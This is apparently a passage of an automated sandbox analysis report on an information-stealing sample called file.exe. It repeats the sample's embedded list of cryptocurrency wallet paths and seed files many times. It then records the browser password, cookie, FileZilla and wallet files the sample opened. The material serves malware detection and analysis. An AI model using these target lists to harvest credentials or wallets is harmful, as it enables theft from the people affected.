Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
